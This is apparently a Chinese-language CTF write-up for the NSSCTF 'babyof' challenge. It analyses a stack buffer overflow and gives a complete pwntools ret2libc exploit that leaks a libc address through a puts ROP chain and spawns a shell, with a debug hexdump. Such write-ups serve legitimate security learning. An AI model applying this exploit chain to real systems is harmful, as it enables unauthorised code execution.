1 2 3 4 5 6 [*] '/mnt/e/work/PWN/nssctf/469_[2021 鹤城杯]babyof/pwn' Arch: amd64-64-little RELRO: Partial RELRO Stack: No canary found NX: NX enabled PIE: No PIE (0x400000)
64位直接扔ida64
开启了Partial RELRO和 NX
ida64 找到sub_400632
1 2 3 4 5 6 7 8 int sub_400632 () { char buf[64 ]; puts ("Do you know how to do buffer overflow?" ); read(0 , buf, 0x100 uLL); return puts ("I hope you win" ); }
read存在溢出风险 计算offset=0x40+0x8
计sub_400632为vulnvuln_addr=elf.sym['sub_400632']
由于是64位计算pop_rdi=0x400743
可以看是是在puts完overflow?''
才执行read函数 我们就可以用sendlineafter
exp 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 from pwn import *from LibcSearcher import *context( terminal=["wt.exe" ,"wsl" ], os = "linux" , arch = "amd64" , log_level="debug" , ) elf = ELF("./pwn" ) io = process("./pwn" ) def debug (): gdb.attach(io,''' b *0x400657 b *0x40066A ''' ) pause() debug() offset = 72 vuln_addr = 0x400632 pop_rdi = 0x400743 read_got=elf.got['read' ] puts_plt=elf.plt['puts' ] main_addr=0x40066B payload = cyclic(offset)+p64(pop_rdi)+p64(read_got)+p64(puts_plt)+p64(vuln_addr) io.sendlineafter('overflow?\n' , payload) io.recvuntil(b'I hope you win\n' ) read_addr = u64(io.recvline()[:-1 ].ljust(8 ,b'\x00' )) print (hex (read_addr))libc = LibcSearcher('read' , read_addr,1 ) libc_base = read_addr - libc.dump('read' ) system = libc_base + libc.dump('system' ) shellcode = libc_base + libc.dump('str_bin_sh' ) payload2 = cyclic(offset)+p64(0x400506 )+p64(pop_rdi)+p64(shellcode)+p64(system) io.sendlineafter('overflow?\n' , payload2) io.interactive()
值得注意是在高版本的libc中需要加ret进行栈对齐 具体原理还没懂
io.recvuntil(b'I hope you win\n')
这一句筛选了read_addr 可以从debug中看到
1 2 3 4 5 [DEBUG] Received 0x3d bytes: 00000000 49 20 68 6f 70 65 20 79 6f 75 20 77 69 6e 0a 50 │I ho│pe y│ou w│in·P│ 00000010 7a fd 1e 52 7f 0a 44 6f 20 79 6f 75 20 6b 6e 6f │z··R│··Do│ you│ kno│ 00000020 77 20 68 6f 77 20 74 6f 20 64 6f 20 62 75 66 66 │w ho│w to│ do │buff│ 00000030 65 72 20 6f 76 65 72 66 6c 6f 77 3f 0a │er o│verf│low?│·│
0a是换行